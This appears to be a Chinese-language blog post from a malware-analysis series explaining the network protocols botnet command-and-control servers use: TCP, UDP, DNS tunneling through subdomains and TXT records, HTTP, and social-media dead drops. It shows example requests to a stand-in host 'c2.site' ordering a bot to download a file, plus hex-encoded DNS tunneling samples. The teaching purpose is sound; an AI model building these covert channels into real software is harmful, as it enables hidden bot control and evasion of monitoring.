Command & Control (C&C) 依網路通訊協定,可分為以下 5 種類型,做為通訊的管道。
- TCP
- UDP
- DNS
- HTTP (含 SSL)
- 社群媒體網站
文章目錄
TCP
TCP 是一種網路傳輸協定,內建錯誤重傳機制。可靠、不易出錯,且內建在多種主流作業系統中(e.g., Socket API),常用於 Bot 與 C2 通訊中。
若傳輸過程中,彼此需要隱匿通訊,則可挑選合適的加解密演算法,實作加解密機制。
UDP
UDP 傳輸協定有高效能、小封包的優點。亦內建在多種主流作業系統中(e.g., Socket API) ,但無錯誤重傳機制。
使用於 C2 通訊時,需加上驗證與重傳機制。例如,計算與比對每筆傳輸內容的雜湊值。隱匿通訊與 TCP 相同,藉由加解密機制達成。
DNS Tunneling
DNS (Domain Name Service) 全名是網域名稱服務。功能為查詢網域名稱時,回覆對應 IP 的資訊。
例如,查詢網域名稱 ( www.google.com) ,回覆IP是 「216.58.200.228」。使用 nslookup 工具查詢結果,如下:
$ nslookup www.google.com Server: 127.0.1.1 Address: 127.0.1.1#53 Non-authoritative answer: Name: www.google.com Address: 216.58.200.228
DNS 不啻是 Internet 的基石。駭客常利用 DNS 封包的 2 個位置,分別是子網域與TXT 紀錄,放入欲傳輸的內容,做為 Bot 與 C2 彼此溝通的橋樑。此機制亦稱為 DNS Tunneling。
子網域
將傳輸的內容編碼後,依固定長度分段放置於子網域。依序利用多個 DNS 查詢封包,達成 Bot 向 C2 的通訊目的。
例如,將「愛麗絲夢遊仙境」小說的其中一段文字,將文字轉換為 16 進位後,編碼分段後置入子網域中,如下範例。
416c6963652077617320626567696e6e.c2.site 696e6720746f20676574207665727920.c2.site 7469726564206f662073697474696e67.c2.site 2062792068657220736973746572206f.c2.site 6e207468652062616e6b2c20616e6420.c2.site 6f6620686176696e67206e6f7468696e.c2.site 6720746f20646f3a206f6e6365206f72.c2.site 20747769636520736865206861642070.c2.site 656570656420696e746f207468652062.c2.site 6f6f6b20686572207369737465722077.c2.site 61732072656164696e672c2062757420.c2.site 697420686164206e6f20706963747572.c2.site 6573206f7220636f6e76657273617469.c2.site 6f6e7320696e2069742c2022616e6420.c2.site 77686174206973207468652075736520.c2.site 6f66206120626f6f6b2c222074686f75.c2.site 67687420416c6963652c202277697468.c2.site 6f7574207069637475726573206f7220.c2.site 636f6e766572736174696f6e733f2220.c2.site
TXT 紀錄
DNS 查詢類別的回應(Response)資料之一。最廣為人知的是 類別 A 與 AAAA 的資料,標註網域名稱所對應的IP。
次之,則是類別 MX, 存放的是郵件伺服器資訊。而類別 TXT 存放的是描述性文字,可存放任意字元。駭客常使用類別 TXT ,做以下事情。傳輸方向主要是 C2 對 Bot 的通訊。
- 對Bot 下指令
- 將惡意程式編碼後,放在 TXT 紀錄中,好讓 Bot 下載
我將「愛麗絲夢遊仙境」小說的其中一段文字,編碼後置入c2.site 網域的TXT 紀錄中 。
透過 DNS 紀錄查詢工具 dig 的查詢回應結果,如下範例。「;」符號開頭的文字為註解。
$ dig c2.site -t txt ; <<>> DiG 9.10.3-P4-Ubuntu <<>> c2.site -t txt ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 739 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;c2.site. IN TXT ;; ANSWER SECTION: c2.site. 10800 IN TXT "416c6963652077617320626567696e...." ;; Query time: 89 msec ;; SERVER: 127.0.1.1#53(127.0.1.1) ;; WHEN: Fri Dec 27 14:17:07 CST 2019 ;; MSG SIZE rcvd: 93
HTTP (含 SSL)
HTTP 屬於 TCP/IP 應用層的協定。支援多種傳輸方法(HTTP Method),如 GET、POST、PUT、HEAD、OPTIONS 等。其中最廣泛使用的方法是 GET 與 POST 。
由於 GET 方法是將傳遞的多個參數與值,附加在 URL 後面,參數之間以「&」分隔。容易在 Proxy 日誌與 網站存取日誌 (Web access log) 留下紀錄,故不常用於 Bot 與 C2 通訊中。
http://c2.site/callback.php?cmd=download&url=https://foo.bar/a.tgz
而 POST 方法是將傳遞的參數與值,置於 HTTP Body 中。
POST /callback.php HTTP/1.1 Host: c2.site Content-Type: application/x-www-form-urlencoded Content-Length: 38 cmd=download&url=https://foo.bar/a.tgz
在 Proxy Log 與網站存取日誌 (Web access log) 僅會有存取 callback.php的紀錄,但無 POST 的參數內容,故常用於 Bot 與 C2 通訊中。
若傳輸過程中,彼此需要隱匿通訊,則會搭配 SSL (Secure Socket Layer),或是挑選合適的加密演算法,將傳輸內容加密。
社群媒體網站服務
在現今人手一機的時代,人們每天瀏覽社群媒體的消息,存取社群媒體網站服務,已是每日例行公事。
而駭客為了切換 Bot 連線的 C2位址,會將 C2 位址資訊以「編碼」或「加密」形式,貼至公開社群媒體頁面,例如推特 (Twitter)、Blog BSP等。
惡意程式作者預先寫死 (Hard coded) 社群媒體網址在Bot 程式碼中。之後,Bot程式欲向 C2 報到前,會先至社群媒體網址,存取 C2 位址資訊後,再去 C2 報到。
複刻 C2 系列文章
- C2 複刻 01 – 為何投入複刻 C2 工作?
- C2 複刻 02 – Command and Control Server 定義
- C2 複刻 03 | Command and Control Server (C&C、C2) 通訊協定類型
- C2 複刻 04 | Command and Control Server (C&C、C2) 觀察
- C2 複刻 05 | 判斷Command and Control Server (C&C、C2)發起連線端
- C2 複刻 06 | Command and Control Server 握手 (Handshake) 與認證 (Authentication)
- C2 複刻 07 | 分析惡意程式呼叫的作業系統網路 API
- C2 複刻 08 | 找出所有 Command and Control Server 指令列表與功能函式
- C2 複刻 09 | Command and Control 資料傳輸格式
- C2 複刻 10 | 惡意程式加解密函式定位
- C2 複刻 11 | 判定惡意程式加解密演算法種類
- C2 複刻 12 | 推薦 20 個複刻 Command and Control Server 的 Python 3 擴充模組
- C2 複刻 13 | 分享 3 個複刻 Command and Control Server 程式測試環境的設定建議
- C2 複刻 14 | 3 個複刻 Command and Control Server 程式的開發原則建議